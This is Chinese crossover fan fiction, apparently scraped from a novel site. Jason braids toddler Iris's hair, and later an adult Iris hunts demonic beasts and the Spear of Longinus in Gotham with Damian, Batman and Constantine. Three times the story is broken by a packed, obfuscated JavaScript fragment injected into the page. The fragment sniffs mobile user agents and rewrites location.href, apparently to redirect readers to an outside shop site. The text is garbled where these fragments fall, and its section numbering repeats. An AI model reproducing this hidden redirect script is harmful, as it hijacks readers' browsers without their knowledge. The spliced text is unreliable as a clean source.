“你三岁了,”杰森说,“还要人抱?” “嗯。” “为什么?” 艾瑞斯想了想。 “想你抱抱。” 杰森:“……” 他看着那张认真的小脸,看了一秒,两秒,三秒。 然后他叹了口气,弯腰把她抱起来。 艾瑞斯搂着他的脖子,把脸埋在他肩膀上。 “好高。”她说。 “是你太矮。” “你高。” “废话,我已经长大了。” 艾瑞斯没说话,只是在他肩膀上蹭了蹭,找了个舒服的位置。 杰森抱着她站在院子里,忽然觉得自己像个傻子。 但他没把她放下来。 4. 那天下午,杰森心血来潮。 艾瑞斯坐在沙发上,头发乱糟糟的,像个小狮子。她刚从午睡中醒来,头发更是乱上加乱,几撮翘着,几撮打着结。 杰森路过客厅,看了一眼,又退回来。 “你头发怎么这样?” 艾瑞斯摸摸自己的头。 “睡觉睡的。” “你没梳过?” 艾瑞斯摇头。 “阿福早上给我梳,”她说,“下午我自己不会。” 杰森站在那儿,看着那团乱糟糟的头发。 三秒后,他做出了一个他自己都没想到的决定。 “过来。” 艾瑞斯从沙发上滑下来,走到他面前。 杰森拉着她走进浴室,从架子上拿了一把梳子。 “坐下。” 艾瑞斯坐在小板凳上,仰头看他。 “杰森要给我梳头?” “嗯。” “为什么?” 杰森顿了一下。 “……想梳就梳,哪来那么多为什么。” 艾瑞斯没再问。 她乖乖地坐着,看着镜子里的杰森。 杰森低头看着那团乱糟糟的头发,忽然有点后悔。 这玩意要怎么弄? 他拿着梳子,小心翼翼地伸向那撮翘得最高的头发。 梳子卡住了。 “疼吗?”他问。 “不疼。” 杰森松了口气,慢慢把梳子往下拉。 打结的地方有点多。他放慢动作,一点一点地梳。 艾瑞斯一动不动,乖得不像话。 5. 梳了大概五分钟,头发总算顺了。 杰森看着镜子里那颗小脑袋,忽然想起什么。 “你会扎辫子吗?” 艾瑞斯摇头。 “我不会。” 杰森想了想。 他也不会。 但他想试试。 他从架子上拿了一根皮筋,把那撮头发分成三股。 编辫子。他见迪克编过。应该不难。 第一股压第二股,第三股压第一股…… 好像不太对。 他拆了重新来。 第二股压第一股,第三股压第二股…… 还是不对。 艾瑞斯看着镜子里的杰森,看他皱着眉跟那几撮头发较劲。 “杰森。” “嗯?” “你也不会。” “……我会。就是有点生疏。” 艾瑞斯没说话。 但她在镜子里笑了。 杰森看到那个笑,愣了一下。 一个暖暖的笑,眯起来的眼睛,亮晶晶的。 他忽然觉得,这样也不错。 6. 最后那个辫子编得歪歪扭扭,一边紧一边松,还翘着一小撮没编进去的头发。 杰森看着自己的作品,沉默了三秒。 “……还行。” 艾瑞斯伸手摸了摸辫子。 “好看。”她说。 “真的?” “嗯。”艾瑞斯点头,“以后再帮我编辫子吧。” 杰森看着镜子里那张认真的小脸,忽然不知道该说什么。 艾瑞斯站起来,踮起脚,在镜子前左看看右看看。 辫子歪着,翘着,丑得很。 但她好像真的很满意。 “我要给阿福看。”她说,啪嗒啪嗒地跑出去。 杰森站在原地,看着那个小小的背影消失在门口。 手里还拿着那把梳子。 7. 那天晚上,阿福看到那个歪歪扭扭的辫子,微微愣了一下。 然后他弯下腰,认真地看着。 “很可爱。”他说。 艾瑞斯点点头,骄傲得很。 “杰森编的。” 阿福抬起头,看了杰森一眼。 杰森站在旁边,假装在看窗外。 阿福的嘴角弯了一下。 “杰森少爷手艺不错。”他说。 杰森没回头,但耳朵有点红。 8. 后来杰森发现,艾瑞斯很喜欢让人给她梳头。 尤其是他。 每次她头发乱了,就会跑到他面前,把梳子塞给他。 “杰森,梳头。” 杰森有时候想拒绝。 但看着她那双蓝眼睛,他就说不出“不”字。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244861|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是他学会了扎辫子。 学会了编麻花辫,学会了扎马尾,学会了把那撮总是翘着的头发服帖地按下去。 他的手很大,她头发很软。 他动作很轻,她一动不动。 梳子从上到下,一遍一遍。 她会闭上眼睛,靠在他腿上,像只晒太阳的猫。 9. 有一次,迪克路过,看到杰森在给艾瑞斯梳头。 他站在门口,看了三秒。 “杰森,”他说,“你什么时候学会这个的?” 杰森头都没抬。 “学的。” 迪克走进来,看着镜子里那个安静的小女孩。 “她喜欢你给她梳头。” 杰森没说话。 艾瑞斯睁开眼睛,从镜子里看着迪克。 “杰森梳得很棒。”她说。 迪克笑了。 “那我呢?”他问,“要我给你梳吗?” 艾瑞斯想了想。 “不用了。” “让我给你梳一次?” 艾瑞斯摇头。 “要杰森。” 迪克捂着胸口,做出受伤的表情。 “为什么?” 艾瑞斯歪着头想了想。 “这是我给杰森和阿福的特权。” 杰森的手顿了一下。 迪克看着他的反应,笑了笑,没再说什么,转身走了。 10. 房间里很安静。 杰森继续梳头。 过了一会儿。 “艾瑞斯。” “嗯?” “你为什么要给我特权呢?” 艾瑞斯想了想。 “因为我喜欢你啊。” 杰森没说话。 “你帮我梳头。”艾瑞斯继续说,“你抱我。你在我的身边,哥哥。” 杰森看着镜子里那张认真的小脸。 他想起自己以前的生活。 犯罪巷。没人陪。没人抱。没人在旁边。 他从来没当过谁的哥哥。 但现在有一个三岁的小孩,坐在小板凳上,等着他梳头。 说他是她哥哥。 他低下头,继续梳。 动作比刚才更轻。 11. 那天晚上,杰森躺在床上,盯着天花板。 他想起白天的事。 想起那个歪歪扭扭的辫子,想起那句“哥哥”,想起她靠在他胳膊上的感觉。 软软的,暖暖的,一小团。 他翻了个身。 枕头边放着一只旧泰迪熊。 艾瑞斯送他的。 她说:“杰瑞可以陪你睡觉。” 他留下了。 他把熊拿起来,看了一眼。 眼睛松了一颗,歪着,还是很丑。 他把它放回枕头边,闭上眼睛。 12. 第二天早上,杰森起床的时候,发现床边站着一个小不点。 “杰森。” “……你怎么进来的?” “门没关。” 杰森揉了揉眼睛。 艾瑞斯站在那儿,手里拿着一把梳子。 “梳头。” 杰森看着那把梳子,看着那双亮晶晶的蓝眼睛,看着那张缺了一颗门牙的笑脸。 他叹了口气。 “过来。” 艾瑞斯爬上他的床,在他旁边坐下。 杰森接过梳子,开始梳。 晨光从窗帘缝隙里漏进来,落在她乱糟糟的头发上。 他想:这小孩真的很烦人。 但他嘴角弯了一下。 13. 杰森还是会想起那些早晨。 一个三岁的小孩,坐在他床边,等着他梳头。 软软的,暖暖的,一小团。 像荧光一样。 虽然小,但在那些灰扑扑的日子里,一直亮着。 11. 新生活3 1. 艾瑞斯被空运去往哥谭。 直升机穿过云层的时候,她往下看了一眼。灰扑扑的城市在下方铺开,像一块旧地毯。高楼,矮楼,烟囱,河,桥。她认得那条河,认得那些桥,认得那个方向——韦恩大宅的方向。 直升机上只有她一人。 她移开视线。 托尼的原话是:“我托尼·斯塔克的人,怎么能跟货物挤一起?要舒服的,要漂亮的,要——” “够了。”艾瑞斯当时打断他。 托尼看了她一眼,笑了。 “我不唠叨了,小姐。” 所以她现在坐在一张真皮座椅上,面前摆着一杯温度刚好的咖啡,窗外的哥谭越来越近。 纽约在她脑子里叨叨:【你看看你看看,这就是我的人!出个差都这待遇!那个灰扑扑的地方能比吗?】 哥谭沉默。 【喂,你怎么不说话?】 【……到了再说。】哥谭的声音很低,像是压抑着什么。 艾瑞斯没理它们。 她低头看了看自己。 短款风衣,黑色,收腰,领口别着一枚小小的鸢尾花胸针。里面是白色内搭,下面配着黑色长裤和短靴。头发被剪成了齐刘海,长度到肩膀,整整齐齐的。 托尼让人打理的。 她反抗过。 没用。 “你代表的是我斯塔克工业的形象!”托尼当时义正言辞,“不能让人说我们派出去的人灰头土脸的!” 艾瑞斯想说她平时也不灰头土脸。 但她没说。 因为托尼已经叫来了一个造型团队。 三天后,她就变成了现在这样。 纽约很满意:【好看!像娃娃一样!就应该这样!这才是天使该有的样子!】 艾瑞斯没理它。 她只是低头看了一眼自己的手。 指甲修剪整齐。食指和大拇指内侧有厚茧——长期骑车和干活留下的。皮肤上有几处烫伤,不明显,但仔细看能看出来,是咖啡店打工时溅的热牛奶。 2. 直升机降落在哥谭郊区的一个停机坪。 艾瑞斯拎起简单的行李,走下舷梯。 风很大。哥谭的风和纽约不一样,带着一股潮湿的凉意,像是从河面上直接刮过来的。 停机坪边上站着一个人。 男孩。 大概十四岁,黑色头发,绿色眼睛,穿着一件黑色的夹克。他站得笔直,双手插在口袋里,表情很不耐烦。 艾瑞斯走过去。 男孩抬起头。 他的视线从她脸上移到她头顶,又从头顶移到她脸上。 那个表情—— 艾瑞斯见过这种表情。 她在镜子里见过。 冒犯时的表情。 3. “我是罗宾。” 语气硬邦邦的,像是在完成某个不情愿的任务。 他打量着她。从头到脚,又从脚到头。 178。 艾瑞斯看到他的目光在她头顶停了一秒。 ? “艾瑞斯,”她说,“斯塔克先生特派。” 她伸出手。 那只手悬在半空中,等着被握住。 达米安低头看了一眼。 虎口有茧。食指内侧有茧。手背上有几处浅浅的烫伤疤痕。 他皱了一下眉。 但他没有伸手。 艾瑞斯等了三秒,把手收回来。 也不生气。 “行程安排呢?”她问。 达米安冷哼了一声,转身就走。 “跟上。” 艾瑞斯拎起行李,跟上去。 4. 住处在哥谭东区,一栋不起眼的公寓楼里。 达米安把她带到门口,递给她一把钥匙。 “三楼,302。冰箱里有吃的,武器在床底下的暗格里,有事按这个。” 他指了指门边的按钮。 “会有人来?” “会。” 艾瑞斯点点头。 达米安站在那儿,没有要走的意思。 艾瑞斯看着他。 “还有事?” 达米安的眉头皱得更紧了。 “你……”他顿了一下,“你多高?” 艾瑞斯眨眨眼。 “178。” 达米安的表情肉眼可见地扭曲了一下。 “……这不对。” “什么不对?” “你才17岁。” “嗯。” “178?” “嗯。” 达米安沉默了。 艾瑞斯看着他。 她想起很久以前——另一个世界线里——这个男孩也曾经在意过身高。那时候他十岁,比她大一点,但没她高。现在他十四岁,还是没她高。 有些东西真的不会变。 “你吃什么长大的?”达米安问。 艾瑞斯想了想。 “牛奶。” 达米安的表情更扭曲了。 他深吸一口气,转身就走。 “明天早上七点,楼下等。正义联盟报道。” 他的背影消失在楼梯口。 艾瑞斯站在原地,看着那个方向。 纽约在她脑子里笑疯了:【哈哈哈哈他是不是被身高刺激了?那个表情哈哈哈哈——】 哥谭的声音很低:【……他小时候也这样。】 艾瑞斯没说话。 她推开门,走进临时住处。 5. 一室一厅,厨房卫生间都有。装修很简单,但该有的都有。冰箱里确实有吃的——牛奶、面包、鸡蛋、几盒速食。床底下的暗格里也确实有武器——两把手枪,一把匕首,几盒子弹。 艾瑞斯关上暗格。 她不需要这些,但还是老实装上了。 6. 晚上九点,艾瑞斯出门。 白天踩过点了。魔兽的主要活动区域在东区靠近码头的地方,离安全屋不远。她穿上黑色的冲锋衣,把头发塞进帽子里,戴上口罩。 出门前,她摸了摸夹克内袋。 那只旧鳄鱼挂件还在。 她把它拿出来,看了一秒,又塞回去。 7. 码头区很安静。 太安静了。 艾瑞斯走在集装箱之间,脚步很轻。月光被云遮住,四周暗得只能看清轮廓。 纽约在脑子里小声说:【小心点,我感觉不对劲。】 哥谭没说话。 但艾瑞斯能感觉到它的存在——那种沉沉的、压着的关注,像一层看不见的膜,覆盖着整座城市。 她绕过一堆集装箱,停下来。 地上有痕迹。 像是烧灼过的痕迹,黑色的,从集装箱底部延伸到远处的阴影里。边缘有焦糊的味道,很淡,但确实有。 艾瑞斯蹲下来,用手指碰了碰。 还热着。 她站起来,看向那片阴影。 沉默。 三秒后,阴影里传来一阵窸窣声。 一个东西爬出来。 不大。大概有半人高,四肢着地,形状像某种扭曲的猫科动物。它的皮肤是灰黑色的,眼睛在黑暗中泛着幽幽的绿光。 艾瑞斯看着它。 它看着艾瑞斯。 对峙了三秒。 魔兽忽然转身,跑了。 艾瑞斯没追。 她站在原地,看着那个背影消失在集装箱深处。 【不追?】纽约问。 【不追。】 【为什么?】 【看着有点眼熟。】艾瑞斯说,【而且追了也没用。】 她蹲下来,拿出手机,对着地上的痕迹拍了几张照片。 然后又拍了周围的环境。 收工。 6. 第二天早上七点,艾瑞斯准时下楼。 达米安已经等在楼下了。 他换了一身衣服,但还是黑色。看到艾瑞斯的时候,他下意识地抬头——然后又移开视线。 艾瑞斯假装没注意到。 “正义联盟大楼,”他说,“知道路吗?” “不知道。” “那跟上。” 他转身就走。 艾瑞斯跟上去。 7. 正义联盟的大楼在哥谭市中心,靠近韦恩集团的那一侧。 艾瑞斯站在门口,看着那栋建筑。 达米安回头看她。 “愣着干嘛?” 艾瑞斯收回视线。 “没什么。” 她走进去。 7. 会议室在十二楼。 艾瑞斯被带进去的时候,里面已经坐了几个人。 蝙蝠侠。超人。神奇女侠。 还有几个她不认识的——可能是联盟的其他成员。 达米安把她带到门口,自己站在一边。 蝙蝠侠抬起头。 那双眼睛从面具后面看过来,平静,锐利,不带任何情绪。 艾瑞斯迎上那道目光。 然后她移开视线。 “艾瑞斯,”她开口,声音很平静,“斯塔克工业特派,魔兽事件联络员。” 蝙蝠侠点了点头。 “坐。” 艾瑞斯找了个空位坐下。 8. 汇报进行了大概半个小时。 艾瑞斯把昨晚拍的照片拿出来,投在屏幕上。她描述了那个魔兽的样子,它的行动轨迹,还有地上的烧灼痕迹。 “体型不大,半人高,四肢着地,类似猫科动物。皮肤灰黑色,眼睛泛绿光。有热源反应——地上痕迹的温度比周围高。现在暂时不具备攻击力,以魔力形态降临。” 艾瑞斯在纽约被好一顿恶补当地魔法体系。 蝙蝠侠盯着屏幕。 “你靠近了?” “靠近了。” “多近?” “三米。” 蝙蝠侠没说话。 超人在旁边开口了:“那东西没攻击你?” 艾瑞斯看了他一眼。 蓝眼睛,红披风,那张脸比电视上更……慈祥? “没有。”她说,“它看了我三秒,然后跑了。” 超人点点头,若有所思。 神奇女侠开口:“你觉得它是怕你,还是只是不想冲突?” 艾瑞斯想了想。 “不知道。” 房间里沉默了几秒。 蝙蝠侠又问了几个问题。艾瑞斯一一回答。 汇报结束。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244862|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 9. 走出会议室的时候,达米安还站在门口。 他看了她一眼。 “就这样?” “嗯。” “没别的发现?” “有也不会在这里说。” 达米安愣了一下。 他看着艾瑞斯。 艾瑞斯也看着他。 那双蓝眼睛很平静,像是在说“你懂的”。 达米安忽然笑了一下。 很轻,很快就收了回去。 “你比我想的有意思。”他说。 艾瑞斯点点头。 “你也是。” 10. 接下来的一周,艾瑞斯过上了规律的生活。 白天,她以转校生的身份出现在哥谭的大学——托尼安排的,为了掩护。她坐在教室里听课,去食堂吃饭,和同学保持礼貌的距离。 晚上,她换上黑色的衣服,去码头区转悠。 魔兽出现得越来越频繁。 不只是码头区。东区、南区、甚至靠近市中心的地方都有目击报告。艾瑞斯每天晚上出去,拍照片,记录痕迹,追踪那些东西的行动路线。 第三天晚上,她遇到了一个大的。 大概有两米高,形状像某种变异的爬行动物。它正在啃食一只流浪狗,听到动静后抬起头,冲她发出嘶嘶的声音。 艾瑞斯没动。 她站在阴影里,看着它。 那东西看了她三秒。 然后转身跑了。 艾瑞斯站在原地,看着那个巨大的背影消失在夜色中。 【它怕你。】纽约说。 【不是怕。】 【那是什么?】 艾瑞斯没回答。 她蹲下来,对着地上的残骸拍了几张照片。 11. 第五天晚上,她遇到了达米安。 他在码头区巡逻,看到她的时候愣了一下。 “你怎么在这儿?” “工作。” 达米安走过来,低头看了看她面前的地面。 又是烧灼痕迹。 “你每天都来?” “嗯。” “有什么发现?” 艾瑞斯沉默了一秒。 “它们越来越多。”她说,“而且越来越大胆。” 达米安皱起眉。 “你一个人不安全。” 艾瑞斯看着他。 “那你陪我?” 达米安愣了一下。 然后他冷哼一声。 “谁要陪你。” 但他没走。 他们一起在码头区转了一圈,又发现了两处痕迹。 分开的时候,达米安看了她一眼。 “明天这个时候,我还会来。”他说。 然后他走了。 艾瑞斯站在原地,看着他的背影。 纽约在她脑子里小声说:【他是不是……在担心你?】 艾瑞斯没回答。 但她嘴角弯了一下。 12. 第七天,艾瑞斯再次去正义联盟汇报。 这次人更多了。 蝙蝠侠、超人、神奇女侠都在,还多了闪电侠和绿灯侠。 她把照片投在屏幕上。 “七天,二十三处痕迹。分布范围从码头区扩展到东区、南区,甚至靠近市中心。大小从半米到两米不等。行为模式一致——夜间活动,回避人类,没有主动攻击记录。” 蝙蝠侠盯着地图。 “它们为什么越来越多?” “不知道。” “它们从哪里来?” “不知道。” “它们想要什么?” 艾瑞斯沉默了一下。 “这个,”她说,“我也不知道。” 蝙蝠侠看着她。 那双眼睛很锐利。 艾瑞斯迎上那道目光。 “但我知道一件事,”她说,“它们不怕人类。但它们在怕什么东西,而且那东西还想不见了,最近有实体化征兆。” “什么东西?” 艾瑞斯想了想。 “朗基努斯之枪。” …… 13. 汇报结束后,艾瑞斯走出大楼。 天已经黑了。 达米安站在门口,像是在等人。 “今晚还去?” “去。” “一起。” 艾瑞斯看着他。 达米安别过脸。 “不是我担心你,”他说,“是联盟要求合作调查。” “哦。” “就是合作。” “嗯。” 达米安皱起眉。 “你信不信?” 艾瑞斯想了想。 “信。” 达米安松了口气。 “走吧。” 他们一起走进夜色。 纽约在艾瑞斯脑子里轻轻笑了一声。 【他挺可爱的。】它说。 哥谭沉默着。 但艾瑞斯能感觉到,它在看着他们。 14. 老实说艾瑞斯误入这个世界也是因为这把枪。 艾瑞斯只感觉这把枪还真是携带着厄运,不过艾瑞斯倒是有了些方向。 康斯坦丁。 12. 新生活4 15. 汇报结束后,艾瑞斯离开。 晚上10点,蝙蝠侠出现在她的住所。 蝙蝠侠的目光还停留在她身上,像一束探照灯,沉沉的,压着。 “朗基努斯之枪。”他重复了一遍这个词,“你怎么知道这个名字?你没有信仰,却能得出这个结果。” 艾瑞斯迎上那道目光。 “我始终信仰着祂。” “谁?” “…不重要。” 蝙蝠侠没说话。他身后的大屏幕上还投着她拍的那些照片,焦黑的痕迹在灯光下格外刺眼。 超人开口打圆场:“也许我们可以先关注眼前的问题——如果那把枪真的在哥谭,我们需要尽快找到它。” “它在哥谭。”艾瑞斯说。 她只是垂下眼睛,看着自己的手。 食指和大拇指内侧的厚茧。手背上的烫伤疤痕。指甲修剪得整整齐齐。 这不是她的手。 她的双手曾经握过那把枪,然后被侵蚀。 很久以前。 16. 【别说了。】哥谭的声音在她脑子里响起,低沉,带着一种保护的意味,【到此为止。】 艾瑞斯没理它。 她抬起头,看着蝙蝠侠。 “我知道的暂时就这些,”她说,“找到它之前,我回去帮手。” “谁?” “康斯坦丁。” 17. 康斯坦丁住在地狱神探事务所。 说是事务所,其实就是一栋老旧的公寓楼里的一个房间。门口挂着块歪歪扭扭的牌子,上面用马克笔写着“咨询请进”,旁边画着一个潦草的驱魔符号。 艾瑞斯站在门口,敲了三下。 没人应。 她又敲了三下。 门从里面被拽开。 一个穿风衣的男人站在门口,头发乱糟糟的,脸上带着那种“刚睡醒但不想承认”的表情。他手里夹着一根烟,烟雾缭绕中眯着眼睛打量她。 “斯塔克的人?”他问。 “艾瑞斯。” 康斯坦丁点点头,侧身让开。 “进来吧。” 18. 房间里比外面看起来更乱。 书堆得到处都是,烟灰缸里塞满了烟蒂,沙发上扔着几件脏衣服。康斯坦丁随手把衣服拨到一边,示意她坐。 艾瑞斯没坐。 她站在窗边,看着外面的哥谭。 康斯坦丁靠在墙上,抽着烟,也不催。 沉默了好一会儿。 “你知道玛门的事吗?”康斯坦丁忽然问。 艾瑞斯转过头。 “玛门?” “地狱王子。路西法的儿子。”康斯坦丁吐出一口烟,“前段时间有人想把他召唤到人间,搞了个大阵仗。” 艾瑞斯听着。 “那家伙走的时候挺不甘心的,”康斯坦丁继续说,“放话说还会回来。” 他顿了顿,看着艾瑞斯。 “你来的时机,不太巧。” 艾瑞斯没说话。 康斯坦丁抽完最后一口烟,把烟蒂按进烟灰缸。 “说吧,找我什么事。” “朗基努斯之枪。” 康斯坦丁的动作顿了一下。 他抬起头,看着艾瑞斯。那双眼睛里刚才的懒散消失了,换上了一种锐利的东西。 “你知道那是什么吗?” “知道。” “知道还找?” 艾瑞斯看着他。 “最近的魔兽与它有关。” 康斯坦丁盯着她看了三秒。 然后他笑了。 笑得很轻,带着一种“果然如此”的意味。 “你是什么人?”他问。 艾瑞斯没有回答。 但康斯坦丁已经不在意了。 他站起来,从一堆乱七八糟的书里翻出一个笔记本,扔给她。 “这是我这几年收集的资料。关于圣遗物的,关于地狱裂缝的,关于那些不该出现在人间的东西。”他说,“你要找的那把枪,我怀疑它已经不在原来的位置了。” 艾瑞斯翻开笔记本。 密密麻麻的字迹,手绘的符号,照片,报纸剪贴。其中一页上画着一把长枪的草图,旁边标注着几个地点:耶路撒冷、罗马、伦敦……最后一个是哥谭,打了个问号。 “它移动过?”她问。 “不止移动过。”康斯坦丁点起另一根烟,“我怀疑它一直在找什么。” 他看着她。 “或者说,一直在找谁。” 18. 那天晚上,艾瑞斯没有去码头区。 她坐在临时住处的地板上,面前摊着康斯坦丁的笔记本,一页一页地翻。 窗外偶尔有警笛声划过,很远。 纽约的声音很轻:【你还好吗?】 【嗯。】 【那个笔记本……】 【是线索。】 纽约沉默了一下。 哥谭开口:【康斯坦丁这个人,不可全信。】 艾瑞斯翻页的手顿了一下。 【我知道。】 【他知道你是谁吗?】 【他猜到了一些。】艾瑞斯说,【但他没问。】 哥谭没再说话。 但艾瑞斯能感觉到它的不安。 那种沉沉的、压着的不安,像哥谭夜里永远散不尽的雾气。 19. 笔记本翻到最后一页的时候,艾瑞斯停住了。 那一页上画着一个符号。 很简单的符号。一个圆,中间一道竖线,贯穿上下。 朗基努斯之枪的符号。 旁边用潦草的字迹写着:地狱裂缝?玛门? 艾瑞斯盯着那个符号,看了很久。 她想起很久以前的事。 另一个世界。另一把枪。 她握着那把枪,逃离了那个地方。 路西法的声音还在耳边:【你会感激我的…】 她来到了这里。 19. 【艾瑞斯。】哥谭的声音响起,【你在想什么?】 她合上笔记本。 第二天,艾瑞斯没有去学校。 她请了假,说是身体不舒服。实际上,她一早就去了康斯坦丁的事务所。 康斯坦丁已经在等她了。 他今天看起来比昨天精神一点——或者说,比昨天更像个活人。胡子刮了,头发梳了,换了一件还算干净的风衣。 “走吧,”他说,“带你去个地方。” “哪里?” “哥谭公墓。” 20. 公墓在东区边缘,靠近河岸的地方。 艾瑞斯跟着康斯坦丁穿过一排排墓碑,最后停在一座很旧的墓前。墓碑上的字迹已经模糊了,看不清刻的是什么。 康斯坦丁蹲下来,从口袋里掏出一个打火机,点了一根烟,放在墓碑前。 “这是我一个老朋友的墓。”他说,“驱魔师,死在这行当里。” 艾瑞斯站在旁边,没有说话。 “他死之前,告诉我一件事。”康斯坦丁站起来,“他说他感觉到了‘那个东西’——他是这么叫的。一把枪,或者一把枪的碎片,埋在某个地方。” “埋在哪儿?” “不知道。”康斯坦丁看着她,“但他说的感觉,和你身上的感觉有点像。” 艾瑞斯愣了一下。 康斯坦丁吐出一口烟。 “别紧张。我不是说你是那把枪。我是说,你身上有某种东西,和那把枪是同一类的东西。”他顿了顿,“来自同一个地方的东西。” 艾瑞斯沉默着。 风吹过墓地,卷起几片枯叶。 “你是从其他世界线来的,对不对?”康斯坦丁问。 不是疑问。 是陈述。 艾瑞斯看着他。 “你怎么知道?” “我见过不少从那边来的东西。”康斯坦丁说,“恶魔、天使、半死不活的玩意儿。你和它们都不一样——但你不是这的人。” 他把烟头踩灭,挖坟半天没有找到想要的东西。 “不过你放心,我不关心你是从哪来的。我关心的是,那把枪如果真在哥谭,会惹出多大的麻烦。” 他转身往回走。 “走吧,还有几个地方要跑。” 艾瑞斯跟上去。 21. 接下来的一周,艾瑞斯和康斯坦丁跑遍了哥谭。 废弃的教堂,地下的墓穴,老旧的图书馆,私人收藏家的仓库。康斯坦丁认识很多人,三教九流,什么人都有。他带着艾瑞斯一个一个拜访,问线索,查资料,翻旧物。 大多数时候一无所获。 但偶尔会有一些蛛丝马迹。 比如某个古董商说,几年前有人卖过一把奇怪的枪,买主戴着面具,看不出是谁。 比如某个老神父说,他小时候听过一个传说,圣枪的碎片被藏在某个地方,等待“那个人”来取。 比如某本旧书里夹着一张纸条,上面用拉丁文写着一行字:他将归来,以血洗净。 艾瑞斯把每一条线索都记下来。 晚上,她回住处整理资料。 白天,她继续和康斯坦丁跑。 达米安偶尔会出现在码头区,看到她不在,也不问,只是站在那儿等一会儿,然后离开。 22. 第七天晚上,艾瑞斯回到住处的时候,发现门口站着一个人。 蝙蝠侠。 他站在阴影里,几乎和夜色融为一体。 艾瑞斯停下脚步。 “有事?” “你最近和康斯坦丁走得很近。” 不是疑问。 艾瑞斯没说话。 蝙蝠侠从阴影里走出来,站在路灯的光里。那双眼睛从面具后面看着她,锐利,冷静,不带任何情绪。 “康斯坦丁不是可以信任的人。”他说。 “我知道。” “你知道还和他合作?” “我需要线索,”艾瑞斯说,“他有。” 蝙蝠侠沉默了一秒。 “什么线索?” 艾瑞斯看着他。 “朗基努斯之枪。” 那个名字让蝙蝠侠的眼睛微微眯了一下。 “那把枪——” “是真的。”艾瑞斯打断他,“它在找什么。或者找谁。我需要抢在它之前找到它。” 蝙蝠侠没说话。 他盯着她,看了很久。 艾瑞斯任由他看。 最后,蝙蝠侠开口了。 “你知道多少关于那把枪的事?” 艾瑞斯想了想。 “它打开了一条缝隙。” 蝙蝠侠沉默着。 然后他从怀里拿出一个东西。 一个信封。 “这是我这几天查到的。”他说,“关于哥谭近年来的异常能量波动,和康斯坦丁那些‘圣遗物’资料可能有重合的地方。” 艾瑞斯接过信封。 “为什么给我?” 蝙蝠侠看着她。 “因为我需要知道你在找什么。”他说,“以及,找到之后,你想做什么。” 艾瑞斯迎上那道目光。 “找到之后,”她说,“把它送回去。” “送回哪里?” 艾瑞斯没有回答。 蝙蝠侠等了三秒。 然后他转身,走进夜色。 “我会盯着你的。”他的声音从黑暗中传来。 艾瑞斯站在原地,看着那个方向。 纽约在她脑子里小声说:【他不信你。】 【嗯。】 【那你还收他的东西?】 艾瑞斯低头看着手里的信封。 “因为他也不信康斯坦丁。”她说,“但他信证据。” 22. 那天晚上,艾瑞斯没有睡。 她把蝙蝠侠给的资料和康斯坦丁的笔记本摊在地板上,一页一页 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244863|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对照。 凌晨三点的时候,她找到了一个重合点。 哥谭东区,废弃的圣玛丽教堂。 康斯坦丁的笔记里提到,那里曾经发生过一起驱魔事件,当事人声称看到了“一把燃烧的枪”。蝙蝠侠的资料里显示,同一地点在三个月前监测到过异常能量波动。 艾瑞斯看着那个地址。 圣玛丽教堂。 她去过那里。 很多年前。 23. 【艾瑞斯。】哥谭的声音响起,【你要去?】 【嗯。】 【现在?】 艾瑞斯看了一眼窗外。 天还黑着。 她站起来,拿起外套。 圣玛丽教堂在哥谭东区的边缘,靠近河岸的地方。 艾瑞斯到的时候,天边刚刚泛起一点鱼肚白。教堂的尖顶在晨雾中若隐若现,像一座沉默的墓碑。 她推开锈迹斑斑的铁门,走进去。 教堂里很暗,很静。长椅东倒西歪,圣像被蒙上了白布,彩绘玻璃窗碎了大半,地上散落着碎玻璃和枯叶。 艾瑞斯站在过道上,环顾四周。 没有什么异常。 但她能感觉到什么。 一种很轻的、若有若无的……存在感。 她闭上眼睛。 然后她听到了一个声音。 很轻,很远,像从地底传来的回响。 [回到你的家园。] 她猛地睁开眼睛。 没有人。 教堂里还是空荡荡的,只有晨光从破窗里漏进来,在地上铺出几道淡淡的光。 但那个声音还在。 [回来。] 艾瑞斯站在原地,一动不动。 【你听到了?】她问。 纽约的声音很紧:【听到了。那是什么?】 哥谭沉默着。 但艾瑞斯知道它也在听。 24. 艾瑞斯在教堂里站了很久。 直到阳光完全照亮了那些破败的长椅,她才转身离开。 走出教堂的时候,她看到门口站着一个人。 康斯坦丁。手里还拿着把纯长枪。 他靠在门框上,抽着烟。 “就知道你会来。”他说。 艾瑞斯看着他。 “你也听到了?” 康斯坦丁点点头。 “那把枪在叫。”他说,“它也在叫你。” 艾瑞斯没说话。 康斯坦丁吐出一口烟。 “你知道吗,我得了肺癌。”他说,语气很平淡,像在说今天的天气,“晚期,没救了。” 艾瑞斯愣了一下。 “然后呢?” 康斯坦丁笑了一下,“地狱之主救了我。” 